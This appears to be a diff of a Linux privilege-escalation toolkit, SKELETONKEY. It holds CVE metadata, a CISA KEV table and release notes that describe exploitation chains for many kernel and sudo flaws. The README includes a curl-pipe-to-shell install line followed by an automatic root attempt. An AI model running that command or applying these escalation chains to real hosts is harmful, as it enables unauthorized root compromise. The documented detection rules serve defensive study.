|
"in_kev": false,
|
||||||
|
"kev_date_added": ""
|
||||||
|
},
|
||||||
{
|
{
|
||||||
"cve": "CVE-2026-31635",
|
"cve": "CVE-2026-31635",
|
||||||
"module_dir": "dirtydecrypt_cve_2026_31635",
|
"module_dir": "dirtydecrypt_cve_2026_31635",
|
||||||
@@ -224,10 +305,55 @@
|
|||||||
"in_kev": false,
|
"in_kev": false,
|
||||||
"kev_date_added": ""
|
"kev_date_added": ""
|
||||||
},
|
},
|
||||||
|
{
|
||||||
|
"cve": "CVE-2026-43494",
|
||||||
|
"module_dir": "pintheft_cve_2026_43494",
|
||||||
|
"cwe": null,
|
||||||
|
"attack_technique": "T1068",
|
||||||
|
"attack_subtechnique": null,
|
||||||
|
"in_kev": false,
|
||||||
|
"kev_date_added": ""
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"cve": "CVE-2026-43499",
|
||||||
|
"module_dir": "ghostlock_cve_2026_43499",
|
||||||
|
"cwe": "CWE-416",
|
||||||
|
"attack_technique": "T1068",
|
||||||
|
"attack_subtechnique": null,
|
||||||
|
"in_kev": false,
|
||||||
|
"kev_date_added": ""
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"cve": "CVE-2026-46242",
|
||||||
|
"module_dir": "bad_epoll_cve_2026_46242",
|
||||||
|
"cwe": "CWE-416",
|
||||||
|
"attack_technique": "T1068",
|
||||||
|
"attack_subtechnique": null,
|
||||||
|
"in_kev": false,
|
||||||
|
"kev_date_added": ""
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"cve": "CVE-2026-46243",
|
||||||
|
"module_dir": "cifswitch_cve_2026_46243",
|
||||||
|
"cwe": "CWE-20",
|
||||||
|
"attack_technique": "T1068",
|
||||||
|
"attack_subtechnique": null,
|
||||||
|
"in_kev": false,
|
||||||
|
"kev_date_added": ""
|
||||||
|
},
|
||||||
{
|
{
|
||||||
"cve": "CVE-2026-46300",
|
"cve": "CVE-2026-46300",
|
||||||
"module_dir": "fragnesia_cve_2026_46300",
|
"module_dir": "fragnesia_cve_2026_46300",
|
||||||
"cwe": null,
|
"cwe": "CWE-787",
|
||||||
|
"attack_technique": "T1068",
|
||||||
|
"attack_subtechnique": null,
|
||||||
|
"in_kev": false,
|
||||||
|
"kev_date_added": ""
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"cve": "CVE-2026-46333",
|
||||||
|
"module_dir": "ptrace_pidfd_cve_2026_46333",
|
||||||
|
"cwe": "CWE-269",
|
||||||
"attack_technique": "T1068",
|
"attack_technique": "T1068",
|
||||||
"attack_subtechnique": null,
|
"attack_subtechnique": null,
|
||||||
"in_kev": false,
|
"in_kev": false,
|
||||||
|
|||||||
+17
-3
@@ -4,7 +4,7 @@ Which SKELETONKEY modules cover CVEs that CISA has observed exploited
|
|||||||
in the wild per the Known Exploited Vulnerabilities catalog.
|
in the wild per the Known Exploited Vulnerabilities catalog.
|
||||||
Refreshed via `tools/refresh-cve-metadata.py`.
|
Refreshed via `tools/refresh-cve-metadata.py`.
|
||||||
|
|
||||||
**10 of 26 modules cover KEV-listed CVEs.**
|
**13 of 40 modules cover KEV-listed CVEs.**
|
||||||
|
|
||||||
## In KEV (prioritize patching)
|
## In KEV (prioritize patching)
|
||||||
|
|
||||||
@@ -19,7 +19,10 @@ Refreshed via `tools/refresh-cve-metadata.py`.
|
|||||||
| CVE-2024-1086 | 2024-05-30 | CWE-416 | `nf_tables_cve_2024_1086` |
|
| CVE-2024-1086 | 2024-05-30 | CWE-416 | `nf_tables_cve_2024_1086` |
|
||||||
| CVE-2022-0185 | 2024-08-21 | CWE-190 | `fuse_legacy_cve_2022_0185` |
|
| CVE-2022-0185 | 2024-08-21 | CWE-190 | `fuse_legacy_cve_2022_0185` |
|
||||||
| CVE-2023-0386 | 2025-06-17 | CWE-282 | `overlayfs_setuid_cve_2023_0386` |
|
| CVE-2023-0386 | 2025-06-17 | CWE-282 | `overlayfs_setuid_cve_2023_0386` |
|
||||||
|
| CVE-2025-32463 | 2025-09-29 | CWE-829 | `sudo_chwoot_cve_2025_32463` |
|
||||||
| CVE-2021-22555 | 2025-10-06 | CWE-787 | `netfilter_xtcompat_cve_2021_22555` |
|
| CVE-2021-22555 | 2025-10-06 | CWE-787 | `netfilter_xtcompat_cve_2021_22555` |
|
||||||
|
| CVE-2018-14634 | 2026-01-26 | CWE-190 | `mutagen_astronomy_cve_2018_14634` |
|
||||||
|
| CVE-2022-0492 | 2026-06-02 | CWE-287 | `cgroup_release_agent_cve_2022_0492` |
|
||||||
|
|
||||||
## Not in KEV
|
## Not in KEV
|
||||||
|
|
||||||
@@ -30,9 +33,10 @@ and are technically reachable. "Not in KEV" is not the same as
|
|||||||
| CVE | CWE | Module |
|
| CVE | CWE | Module |
|
||||||
| --- | --- | --- |
|
| --- | --- | --- |
|
||||||
| CVE-2017-7308 | CWE-681 | `af_packet_cve_2017_7308` |
|
| CVE-2017-7308 | CWE-681 | `af_packet_cve_2017_7308` |
|
||||||
|
| CVE-2019-14287 | CWE-755 | `sudo_runas_neg1_cve_2019_14287` |
|
||||||
| CVE-2020-14386 | CWE-250 | `af_packet2_cve_2020_14386` |
|
| CVE-2020-14386 | CWE-250 | `af_packet2_cve_2020_14386` |
|
||||||
|
| CVE-2020-29661 | CWE-416 | `tioscpgrp_cve_2020_29661` |
|
||||||
| CVE-2021-33909 | CWE-190 | `sequoia_cve_2021_33909` |
|
| CVE-2021-33909 | CWE-190 | `sequoia_cve_2021_33909` |
|
||||||
| CVE-2022-0492 | CWE-287 | `cgroup_release_agent_cve_2022_0492` |
|
|
||||||
| CVE-2022-25636 | CWE-269 | `nft_fwd_dup_cve_2022_25636` |
|
| CVE-2022-25636 | CWE-269 | `nft_fwd_dup_cve_2022_25636` |
|
||||||
| CVE-2022-2588 | CWE-416 | `cls_route4_cve_2022_2588` |
|
| CVE-2022-2588 | CWE-416 | `cls_route4_cve_2022_2588` |
|
||||||
| CVE-2023-0179 | CWE-190 | `nft_payload_cve_2023_0179` |
|
| CVE-2023-0179 | CWE-190 | `nft_payload_cve_2023_0179` |
|
||||||
@@ -42,6 +46,16 @@ and are technically reachable. "Not in KEV" is not the same as
|
|||||||
| CVE-2023-32233 | CWE-416 | `nft_set_uaf_cve_2023_32233` |
|
| CVE-2023-32233 | CWE-416 | `nft_set_uaf_cve_2023_32233` |
|
||||||
| CVE-2023-3269 | CWE-416 | `stackrot_cve_2023_3269` |
|
| CVE-2023-3269 | CWE-416 | `stackrot_cve_2023_3269` |
|
||||||
| CVE-2023-4622 | CWE-416 | `af_unix_gc_cve_2023_4622` |
|
| CVE-2023-4622 | CWE-416 | `af_unix_gc_cve_2023_4622` |
|
||||||
|
| CVE-2024-26581 | ? | `nft_pipapo_cve_2024_26581` |
|
||||||
|
| CVE-2024-50264 | CWE-416 | `vsock_uaf_cve_2024_50264` |
|
||||||
|
| CVE-2025-32462 | CWE-863 | `sudo_host_cve_2025_32462` |
|
||||||
|
| CVE-2025-6019 | CWE-250 | `udisks_libblockdev_cve_2025_6019` |
|
||||||
|
| CVE-2026-23111 | CWE-416 | `nft_catchall_cve_2026_23111` |
|
||||||
| CVE-2026-31635 | CWE-130 | `dirtydecrypt_cve_2026_31635` |
|
| CVE-2026-31635 | CWE-130 | `dirtydecrypt_cve_2026_31635` |
|
||||||
| CVE-2026-41651 | CWE-367 | `pack2theroot_cve_2026_41651` |
|
| CVE-2026-41651 | CWE-367 | `pack2theroot_cve_2026_41651` |
|
||||||
| CVE-2026-46300 | ? | `fragnesia_cve_2026_46300` |
|
| CVE-2026-43494 | ? | `pintheft_cve_2026_43494` |
|
||||||
|
| CVE-2026-43499 | CWE-416 | `ghostlock_cve_2026_43499` |
|
||||||
|
| CVE-2026-46242 | CWE-416 | `bad_epoll_cve_2026_46242` |
|
||||||
|
| CVE-2026-46243 | CWE-20 | `cifswitch_cve_2026_46243` |
|
||||||
|
| CVE-2026-46300 | CWE-787 | `fragnesia_cve_2026_46300` |
|
||||||
|
| CVE-2026-46333 | CWE-269 | `ptrace_pidfd_cve_2026_46333` |
|
||||||
|
|||||||
@@ -26,6 +26,7 @@ haven't been maintained in years.
|
|||||||
|
|
||||||
```bash
|
```bash
|
||||||
curl -sSL https://github.com/KaraZajac/SKELETONKEY/releases/latest/download/install.sh | sh \
|
curl -sSL https://github.com/KaraZajac/SKELETONKEY/releases/latest/download/install.sh | sh \
|
||||||
|
&& export PATH="$HOME/.local/bin:$PATH" \
|
||||||
&& skeletonkey --auto --i-know
|
&& skeletonkey --auto --i-know
|
||||||
```
|
```
|
||||||
|
|
||||||
|
|||||||
+674
-1
@@ -1,4 +1,677 @@
|
|||||||
## SKELETONKEY v0.7.0 — empirical verification + operator briefing
|
## SKELETONKEY v0.9.13 — new LPE module: ghostlock (CVE-2026-43499)
|
||||||
|
|
||||||
|
Adds **`ghostlock` — CVE-2026-43499 "GhostLock"** (VEGA / Nebula Security,
|
||||||
|
"IonStack part II"), taking the corpus to **45 modules / 40 CVEs** and opening a
|
||||||
|
brand-new subsystem: **rtmutex / futex requeue-PI** (`kernel/locking/rtmutex.c`).
|
||||||
|
It is also the corpus's first kernel-**stack** use-after-free — every other UAF
|
||||||
|
in the set is heap/slab. On the `-EDEADLK` deadlock-rollback path,
|
||||||
|
`remove_waiter()` operates on `current` instead of the actual waiter task while
|
||||||
|
unwinding a proxy lock in `rt_mutex_start_proxy_lock()` (reached from
|
||||||
|
`futex_requeue()`); if a concurrent PI-chain priority walk — driven from another
|
||||||
|
CPU via `sched_setattr()` — runs at that instant, `pi_blocked_on` is cleared on
|
||||||
|
the wrong task and an on-stack `rt_mutex_waiter` is left dangling, becoming a
|
||||||
|
controlled kernel write when the rbtree is later rotated over the reused frame.
|
||||||
|
Reachable by **any unprivileged user** (CVSS 7.8, PR:L) — plain `futex(2)` +
|
||||||
|
`sched_setattr(2)`, no user namespace, no capability, only `CONFIG_FUTEX_PI`
|
||||||
|
(universal). It has existed since PI-futex requeue landed in **2.6.39** — ~15
|
||||||
|
years across every distribution. The public exploit weaponises it (Android/Pixel)
|
||||||
|
via a "KernelSnitch" futex-bucket page leak → forged waiter → `struct file`
|
||||||
|
`f_op` → configfs/ashmem R/W → pipe physical R/W → cred patch; ~97% stable on
|
||||||
|
kernelCTF, $92,337. Introduced 2.6.39; fixed `3bfdc63936dd` (merged 7.1-rc1),
|
||||||
|
stable backports 7.0.4 / 6.18.27 / 6.12.86 / 6.6.140 / 6.1.175 — the
|
||||||
|
5.15/5.10/5.4/4.19 LTS branches are affected with no upstream fix. CWE-416 (race
|
||||||
|
root cause CWE-362); not in CISA KEV.
|
||||||
|
|
||||||
|
🟡 **Trigger (reconstructed) — reachability-only, deliberately under-driven, not
|
||||||
|
VM-verified.** `detect()` is a pure kernel-version gate over a five-branch
|
||||||
|
backport table (7.0.4 / 6.18.27 / 6.12.86 / 6.6.140 / 6.1.175, 7.1+ inherits
|
||||||
|
mainline; 5.15/5.10/5.4/4.19 affected with no fix; < 2.6.39 not affected) — no
|
||||||
|
userns/CONFIG probe (`CONFIG_FUTEX_PI` assumed). `exploit()` forks an isolated
|
||||||
|
child that **(A)** deterministically confirms the `-EDEADLK` `remove_waiter()`
|
||||||
|
rollback path is reachable — a **safe** witness, since without a concurrent
|
||||||
|
priority walk the unwind creates no dangling pointer (validated on real hardware:
|
||||||
|
the requeue-PI cycle returns `-EDEADLK` reliably) — then **(B)** exercises the
|
||||||
|
actual race a hard-bounded 24 iterations / 2 s with a sibling-CPU
|
||||||
|
`sched_setattr(SCHED_BATCH)` storm, and stops. It does **not** widen the
|
||||||
|
`copy_from_user` window (no memfd/`PUNCH_HOLE`), does **not** spray or reoccupy
|
||||||
|
the freed stack frame, and does **not** bundle the KernelSnitch leak →
|
||||||
|
forged-waiter → fops/configfs/ashmem/pipe R/W → cred-patch chain (Android/Pixel-
|
||||||
|
specific, per-build offsets). Returns `EXPLOIT_FAIL`. It carries the corpus's
|
||||||
|
**lowest `--auto` safety rank (11)** — a won race corrupts the kernel stack and
|
||||||
|
drives a near-arbitrary pointer write (near-certain panic), so `--auto` only
|
||||||
|
reaches for it after every safer vulnerable module. Unlike most kernel races
|
||||||
|
GhostLock has a **real detection signature**: a futex requeue-PI op returning
|
||||||
|
`-EDEADLK` (glibc never provokes this) plus tight-loop
|
||||||
|
`sched_setattr(SCHED_BATCH)` on a sibling thread — the shipped auditd/sigma rules
|
||||||
|
anchor on `sched_setattr` + the post-exploitation euid-0 transition, the
|
||||||
|
falco/eBPF rule on the requeue-PI-EDEADLK tell; no yara. Wired: registry,
|
||||||
|
Makefile, safety rank (11), 9 `detect()` test rows (incl. the multi-branch
|
||||||
|
"newer than all" case 6.13.0 → VULNERABLE), CVE metadata (CWE-416 / T1068 /
|
||||||
|
not-KEV), README + CVES.md + website counts (45/40), RELEASE_NOTES v0.9.13, and a
|
||||||
|
verify-vm target (sweep pending). Also corrects pre-existing website drift left
|
||||||
|
by v0.9.12 (index.html body counts + the missing `bad_epoll` corpus pill).
|
||||||
|
Credits VEGA / Nebula Security + the upstream fix `3bfdc63936dd`.
|
||||||
|
|
||||||
|
## SKELETONKEY v0.9.12 — new LPE module: bad_epoll (CVE-2026-46242)
|
||||||
|
|
||||||
|
Adds **`bad_epoll` — CVE-2026-46242 "Bad Epoll"** (Jaeyoung Chung /
|
||||||
|
`J-jaeyoung`, submitted to Google's kernelCTF), taking the corpus to **44
|
||||||
|
modules / 39 CVEs** and opening a brand-new subsystem: **epoll /
|
||||||
|
`fs/eventpoll.c`**. A race-condition use-after-free on the file-teardown
|
||||||
|
path — `ep_remove()` clears `file->f_ep` under `file->f_lock` but keeps
|
||||||
|
using the file inside the critical section (`hlist_del_rcu()` +
|
||||||
|
`spin_unlock()`), so a concurrent `__fput()` observes the transient NULL,
|
||||||
|
skips `eventpoll_release_file()`, and frees a `struct eventpoll` still in
|
||||||
|
use. The public exploit weaponises the 8-byte UAF write via a cross-cache
|
||||||
|
attack to a `struct file`, arbitrary kernel read through
|
||||||
|
`/proc/self/fdinfo`, and a ROP chain — ~99% reliable through a
|
||||||
|
~6-instruction window, and reachable by **any unprivileged user with no
|
||||||
|
user namespace, no CONFIG, and no capability** (which also means there is
|
||||||
|
no unprivileged-userns stopgap — the only fix is to patch). Introduced by
|
||||||
|
`58c9b016e128` (Linux 6.4); fixed by `a6dc643c6931` (merged 7.1-rc1),
|
||||||
|
stable backport 7.0.13. CWE-416 (race root cause CWE-362); not in CISA
|
||||||
|
KEV. Also affects Android.
|
||||||
|
|
||||||
|
🟡 **Trigger (reconstructed) — deliberately under-driven, primitive-only,
|
||||||
|
not VM-verified.** A *won* race frees a live `struct eventpoll` — real
|
||||||
|
memory corruption that rarely trips KASAN, so a completed race can
|
||||||
|
silently destabilise a vulnerable host. `detect()` is therefore a pure
|
||||||
|
kernel-version gate (vulnerable iff ≥ 6.4 and below the fix on-branch;
|
||||||
|
stable backport 7.0.13, 7.1+ inherits; 6.1/5.10 not affected) with **no
|
||||||
|
active probe** — there is no safe way to distinguish vulnerable from
|
||||||
|
patched without winning the race. `exploit()` forks a CPU-pinned child
|
||||||
|
that builds the epoll race pair and exercises the `ep_remove`-vs-`__fput`
|
||||||
|
concurrent-close window a **hard-bounded** 48 attempts / 2 s (widened with
|
||||||
|
`close(dup())` false-sharing storms), snapshots the eventpoll slab, and
|
||||||
|
returns `EXPLOIT_FAIL`; it does not grind the race to a win, does not do
|
||||||
|
the cross-cache reclaim, and does not bundle the `fdinfo` arbitrary-read +
|
||||||
|
ROP root-pop (per-build offsets refused). It carries the corpus's
|
||||||
|
**lowest `--auto` safety rank (12)** — a kernel race that frees a live
|
||||||
|
`struct file` is the least predictable class, so `--auto` only reaches for
|
||||||
|
it after every safer vulnerable module. Detection is intentionally
|
||||||
|
weak/structural (epoll syscalls are ubiquitous and the exploit rarely
|
||||||
|
trips KASAN) — the shipped auditd/sigma/falco rules key on the
|
||||||
|
post-exploitation euid-0 transition, with no yara; treat this as much as a
|
||||||
|
blue-team "your stack is nearly blind to this" teaching case as an
|
||||||
|
offensive one. Wired: registry, Makefile, safety rank (12), 5 `detect()`
|
||||||
|
test rows (version gating), CVE metadata (CWE-416 / T1068 / not-KEV),
|
||||||
|
README + CVES.md + website counts (44/39), RELEASE_NOTES v0.9.12, and a
|
||||||
|
verify-vm target (sweep pending). Credits Jaeyoung Chung + the upstream
|
||||||
|
fix in `NOTICE.md`. Reconstructed from the public kernelCTF PoC and not
|
||||||
|
VM-verified, so the verified count stays 28 of 39.
|
||||||
|
|
||||||
|
## SKELETONKEY v0.9.11 — new LPE module: nft_catchall (CVE-2026-23111)
|
||||||
|
|
||||||
|
Adds **`nft_catchall` — CVE-2026-23111**, taking the corpus to **43
|
||||||
|
modules / 38 CVEs**. The newest nftables LPE: a **use-after-free** in the
|
||||||
|
nf_tables transaction-abort path. `nft_map_catchall_activate()` carries an
|
||||||
|
inverted condition (a stray `!`) so the abort path processes *active*
|
||||||
|
catch-all map elements instead of skipping them — a catch-all GOTO element
|
||||||
|
drives a chain's use-count to zero, and a following `DELCHAIN` frees the
|
||||||
|
chain while the catch-all verdict still references it → UAF. From an
|
||||||
|
unprivileged user (user namespaces + nftables) it escalates to root via a
|
||||||
|
`modprobe_path` / `selinux_state` ROP. Fixed upstream by commit `f41c5d1`;
|
||||||
|
CWE-416, CVSS 7.8; not in CISA KEV. Public reproduction + analysis by
|
||||||
|
**FuzzingLabs**.
|
||||||
|
|
||||||
|
🟡 **Trigger (reconstructed) — primitive-only, not VM-verified.** This is
|
||||||
|
one more UAF in the corpus's most-covered subsystem (`nf_tables`,
|
||||||
|
`nft_set_uaf`, `nft_payload`, `nft_pipapo`, …) and ships on the same
|
||||||
|
contract as `nf_tables` (CVE-2024-1086): a fork-isolated trigger that
|
||||||
|
fires the bug class and stops. `detect()` version-gates against the
|
||||||
|
Debian backports (upstream thresholds 6.1.164 / 6.12.73 / 6.18.10;
|
||||||
|
catch-all set elements arrived ~5.13) **and** requires unprivileged
|
||||||
|
user-namespace clone — a vulnerable kernel with userns locked down is
|
||||||
|
`PRECOND_FAIL`. `exploit()` builds a verdict map with a catch-all GOTO
|
||||||
|
element and provokes an aborting batch transaction to drive the abort-path
|
||||||
|
UAF, observes slabinfo, and returns `EXPLOIT_FAIL`. The per-kernel leak +
|
||||||
|
arbitrary-R/W + `modprobe_path` ROP is **not** bundled (per-build offsets
|
||||||
|
refused), and the trigger is reconstructed from the public analysis rather
|
||||||
|
than VM-verified — it never claims root it did not get. Ships auditd +
|
||||||
|
sigma + falco rules, ATT&CK T1068 + CWE-416 metadata, six new `detect()`
|
||||||
|
unit-test rows (version + userns gating), credits FuzzingLabs + the
|
||||||
|
upstream fix in `NOTICE.md`, and a verify-vm target (sweep pending). Not
|
||||||
|
VM-verified, so the verified count stays 28 of 38.
|
||||||
|
|
||||||
|
## SKELETONKEY v0.9.10 — new LPE module: cifswitch (CVE-2026-46243)
|
||||||
|
|
||||||
|
Adds **`cifswitch` — CVE-2026-46243 "CIFSwitch"** (Asim Manizada,
|
||||||
|
2026-05-28), taking the corpus to **42 modules / 37 CVEs**. The newest
|
||||||
|
kernel-7-era LPE not already covered: a ~19-year-old logic flaw in
|
||||||
|
`fs/smb/client/cifs_spnego.c` where the `cifs.spnego` request-key type
|
||||||
|
accepts key descriptions created by *userspace* (`add_key(2)` /
|
||||||
|
`request_key(2)`) without verifying the request came from the in-kernel
|
||||||
|
CIFS client. The description carries authority-bearing fields
|
||||||
|
(`pid`/`uid`/`creduid`/`upcall_target`) that the root `cifs.upcall`
|
||||||
|
helper trusts as kernel-originating; combined with user+mount namespace
|
||||||
|
tricks, an unprivileged user coerces `cifs.upcall` into loading an
|
||||||
|
attacker NSS module as root. Fixed upstream by `3da1fdf4efbc` (merged
|
||||||
|
7.1-rc5); NVD class CWE-20; not in CISA KEV.
|
||||||
|
|
||||||
|
🟡 **Honest port — full chain not VM-verified.** `detect()` gates on the
|
||||||
|
kernel version (Debian backports 5.10.257 / 6.1.174 / 6.12.90 / 7.0.10)
|
||||||
|
**and** on the presence of the vulnerable userspace path — a vulnerable
|
||||||
|
kernel without `cifs-utils` reports `PRECOND_FAIL`, not a false
|
||||||
|
`VULNERABLE` (override the probe with `SKELETONKEY_CIFS_ASSUME_PRESENT=1`
|
||||||
|
/`0`). `exploit()` fires only the non-destructive primitive — `add_key(2)`
|
||||||
|
of a forged-but-benign `cifs.spnego` key, which does **not** invoke
|
||||||
|
`cifs.upcall` and loads nothing, revoked immediately — and treats a clean
|
||||||
|
accept as the empirical witness that userspace can forge the
|
||||||
|
authority-bearing key type. It then stops: the namespace-switch +
|
||||||
|
malicious-NSS-load root-pop is target/config-specific and is not bundled
|
||||||
|
until VM-verified, so it returns honest `EXPLOIT_FAIL` without a euid-0
|
||||||
|
witness (never fabricates root). `--mitigate` blocklists the `cifs`
|
||||||
|
module (`/etc/modprobe.d/skeletonkey-disable-cifs.conf`); `--cleanup`
|
||||||
|
reverts. Structural, arch-agnostic (keyring + namespace logic, no
|
||||||
|
shellcode). Ships auditd + sigma + falco rules, MITRE ATT&CK T1068 +
|
||||||
|
CWE-20 metadata, six new `detect()` unit-test rows, and credits Asim
|
||||||
|
Manizada in `NOTICE.md`. **Partially VM-verified** (2026-06-08, Ubuntu
|
||||||
|
24.04.4 / kernel 6.8.0-117, QEMU/HVF): `detect()`'s precondition + version
|
||||||
|
gating and the `add_key` primitive are confirmed — an independent
|
||||||
|
`python3` `ctypes` `add_key("cifs.spnego", …)` was accepted and the
|
||||||
|
module's `exploit()` reported "primitive CONFIRMED" then honest
|
||||||
|
`EXPLOIT_FAIL`. The full namespace+NSS root-pop and a patched-kernel
|
||||||
|
discriminator check remain pending, so cifswitch is **not** counted as a
|
||||||
|
verified end-to-end CVE — the verified count stays 28 of 37. Details in
|
||||||
|
the module `NOTICE.md` and `tools/verify-vm/targets.yaml`.
|
||||||
|
|
||||||
|
## SKELETONKEY v0.9.9 — install.sh needs no root; CVE-2022-0492 KEV drift
|
||||||
|
|
||||||
|
Two maintenance fixes, no new modules.
|
||||||
|
|
||||||
|
**`install.sh` never escalates to sudo.** SKELETONKEY is a privilege-
|
||||||
|
escalation tool — the operator by definition does *not* have root yet, so
|
||||||
|
the installer must not demand it. The old default wrote to `/usr/local/bin`
|
||||||
|
and fell back to `sudo mv` when that wasn't writable, prompting for a
|
||||||
|
password on exactly the unprivileged accounts this tool targets. It now
|
||||||
|
installs sudo-free: `/usr/local/bin` is used only when already writable,
|
||||||
|
otherwise it falls back to a per-user `$HOME/.local/bin` (honoring
|
||||||
|
`XDG_BIN_HOME`), created as needed. An explicit `SKELETONKEY_PREFIX` is
|
||||||
|
honored exactly and errors rather than escalating if unwritable. When the
|
||||||
|
chosen dir isn't on `$PATH` the installer prints the absolute path, and the
|
||||||
|
documented `curl … | sh && skeletonkey --auto --i-know` one-liner now
|
||||||
|
prepends `$HOME/.local/bin` to `$PATH` so it resolves on a fresh login. The
|
||||||
|
quickstart no longer prefixes `sudo` to `--scan`/`--audit`/`--auto` —
|
||||||
|
detection and escalation run as the unprivileged user; only writing audit
|
||||||
|
rules into `/etc/audit` legitimately needs root.
|
||||||
|
|
||||||
|
**Federal metadata drift (the failing scheduled build).** The weekly
|
||||||
|
`drift-check` caught two upstream changes since v0.9.8:
|
||||||
|
|
||||||
|
- **CVE-2022-0492 entered CISA KEV (2026-06-02).** The cgroup v1
|
||||||
|
`release_agent` container-escape (`cgroup_release_agent`) is now on the
|
||||||
|
Known Exploited Vulnerabilities catalog. The corpus reports **13 of 36**
|
||||||
|
modules covering KEV-listed CVEs (was 12).
|
||||||
|
- **CVE-2026-46333 gained a CWE.** When `ptrace_pidfd` was added two weeks
|
||||||
|
after disclosure, NVD had not yet classified it; it is now **CWE-269**
|
||||||
|
(Improper Privilege Management).
|
||||||
|
|
||||||
|
A third, latent cause kept the gate red even after those two: when
|
||||||
|
`sudo_host` (CVE-2025-32462) was added in v0.9.8 its record was appended to
|
||||||
|
the *end* of `CVE_METADATA.json`, but the drift check compares the record
|
||||||
|
list in `discover_cves()`'s sorted order — so the out-of-order entry read
|
||||||
|
as drift regardless of its values. Regenerating via the script restores
|
||||||
|
sorted order.
|
||||||
|
|
||||||
|
Refreshed `CVE_METADATA.json`, the generated `cve_metadata.c` table, and
|
||||||
|
`KEV_CROSSREF.md` accordingly (README + website counts updated).
|
||||||
|
|
||||||
|
## SKELETONKEY v0.9.8 — two new LPE modules (ptrace_pidfd, sudo_host)
|
||||||
|
|
||||||
|
Adds the two most compelling recent Linux LPEs not already in the corpus,
|
||||||
|
taking it to **41 modules / 36 CVEs** (every year 2016 → 2026 still
|
||||||
|
covered).
|
||||||
|
|
||||||
|
**`ptrace_pidfd` — CVE-2026-46333** (Qualys TRU, 2026-05-20). A logic
|
||||||
|
flaw in the kernel's `__ptrace_may_access()` path leaves a process that
|
||||||
|
is *dropping* its credentials briefly reachable past its `dumpable`
|
||||||
|
boundary; `pidfd_getfd(2)` rides that window to steal a root-opened file
|
||||||
|
descriptor or authenticated channel from a transiently-privileged setuid
|
||||||
|
binary (chage / pkexec / ssh-keysign) or root daemon. Default-distro, no
|
||||||
|
userns, architecture-agnostic (descriptor theft, no shellcode). detect()
|
||||||
|
is version-pinned (predates-gate at pidfd_getfd's 5.6 introduction;
|
||||||
|
Debian backports 5.10.251 / 6.1.172 / 6.12.88 / 7.0.7). `--mitigate`
|
||||||
|
sets `kernel.yama.ptrace_scope=2`.
|
||||||
|
|
||||||
|
**`sudo_host` — CVE-2025-32462** (Rich Mirch / Stratascale, 2025-06-30;
|
||||||
|
sibling of v0.8.0's `sudo_chwoot`). sudo's `-h`/`--host` option, meant
|
||||||
|
only to pair with `-l`, was honored when running a command — so a
|
||||||
|
sudoers rule scoped to a host other than the current machine (and not
|
||||||
|
ALL) is usable via `sudo -h <host> <cmd>` for local root. Affects sudo
|
||||||
|
1.8.8 → 1.9.17p0 (fixed 1.9.17p1); CWE-863, CVSS 8.8. Most relevant to
|
||||||
|
fleet-wide / LDAP / SSSD sudoers.
|
||||||
|
|
||||||
|
Both are honest ports: detect() is version-pinned and unit-tested (10 new
|
||||||
|
detect() rows, all green in CI), and exploit() fires the real primitive
|
||||||
|
and returns `EXPLOIT_FAIL` unless it can witness euid 0 — never
|
||||||
|
fabricating root. Neither is VM-verified yet (both flagged "sweep
|
||||||
|
pending" in `tools/verify-vm/targets.yaml`), so the verified count stays
|
||||||
|
28 of 36. Each ships auditd + sigma + falco rules, MITRE ATT&CK + CWE
|
||||||
|
metadata, and credits the original researcher in its `NOTICE.md`.
|
||||||
|
|
||||||
|
## SKELETONKEY v0.9.7 — kernel_range drift fix + CI Node 24 readiness
|
||||||
|
|
||||||
|
Two maintenance fixes, no new modules.
|
||||||
|
|
||||||
|
**`fragnesia` kernel_range drift.** Debian backported CVE-2026-46300 to
|
||||||
|
the 5.10 oldstable branch (bullseye 5.10.257), a branch the module's
|
||||||
|
`kernel_patched_from` table didn't model — on a patched bullseye host
|
||||||
|
`detect()` would have false-positived VULNERABLE. Added the `{5,10,257}`
|
||||||
|
entry; the weekly `refresh-kernel-ranges.py` drift gate is green again.
|
||||||
|
(The other flagged modules are INFO-only "more permissive" thresholds
|
||||||
|
the check tolerates by design.)
|
||||||
|
|
||||||
|
**CI Node 24 readiness.** GitHub forces the Node 24 Actions runtime on
|
||||||
|
2026-06-16 and removes Node 20. Bumped every workflow action off its
|
||||||
|
Node-20 line:
|
||||||
|
|
||||||
|
- `actions/checkout` v4 → v6
|
||||||
|
- `actions/upload-artifact` v4 → v7
|
||||||
|
- `actions/download-artifact` v4 → v8
|
||||||
|
- `softprops/action-gh-release` v2 → v3
|
||||||
|
|
||||||
|
Each was reviewed against its changelog: the artifact flow uploads
|
||||||
|
default-zipped, uniquely-named artifacts and downloads the full set, so
|
||||||
|
none of the major-version breaking changes (opt-in direct uploads,
|
||||||
|
download-by-ID path changes) apply. This release is itself the
|
||||||
|
end-to-end test of the new artifact actions.
|
||||||
|
|
||||||
|
## SKELETONKEY v0.9.6 — `--auto` no longer prompts for sudo password
|
||||||
|
|
||||||
|
Two sudo modules' `detect()` bodies invoked `sudo -ln` to read the
|
||||||
|
user's allowed-commands list. The intent was non-interactive — `-ln`
|
||||||
|
should parse as `-l -n` (list + non-interactive). But some sudoers /
|
||||||
|
PAM configurations have been observed prompting for a password
|
||||||
|
anyway when the flags are bundled, defeating the point.
|
||||||
|
|
||||||
|
That meant `skeletonkey --auto --i-know` could hang on a sudo
|
||||||
|
password prompt during the corpus scan, even though the whole point
|
||||||
|
of an LPE tool is to *get* root without already having it.
|
||||||
|
|
||||||
|
Fix in `sudo_runas_neg1` and `sudoedit_editor`:
|
||||||
|
|
||||||
|
- `-n -l` written as separate flags (instead of bundled `-ln`)
|
||||||
|
- `</dev/null` redirect so sudo cannot fall back to reading the tty
|
||||||
|
even if the PAM stack tries
|
||||||
|
|
||||||
|
Belt-and-suspenders. `--auto` is now guaranteed never to block on
|
||||||
|
tty input.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## SKELETONKEY v0.9.5 — kernel_range drift cleanup (the other half)
|
||||||
|
|
||||||
|
v0.9.4 fixed the `cve_metadata` drift but exposed a *second* drift
|
||||||
|
check (`kernel_range drift`) that had been hidden behind it. That
|
||||||
|
check compares each module's `kernel_patched_from` table against
|
||||||
|
Debian's security tracker. It had **11 TOO_TIGHT + 8 MISSING
|
||||||
|
findings across 12 modules** — meaning `detect()` would have
|
||||||
|
reported VULNERABLE on many kernels that Debian has on record as
|
||||||
|
patched (false-positives), or missed branches entirely.
|
||||||
|
|
||||||
|
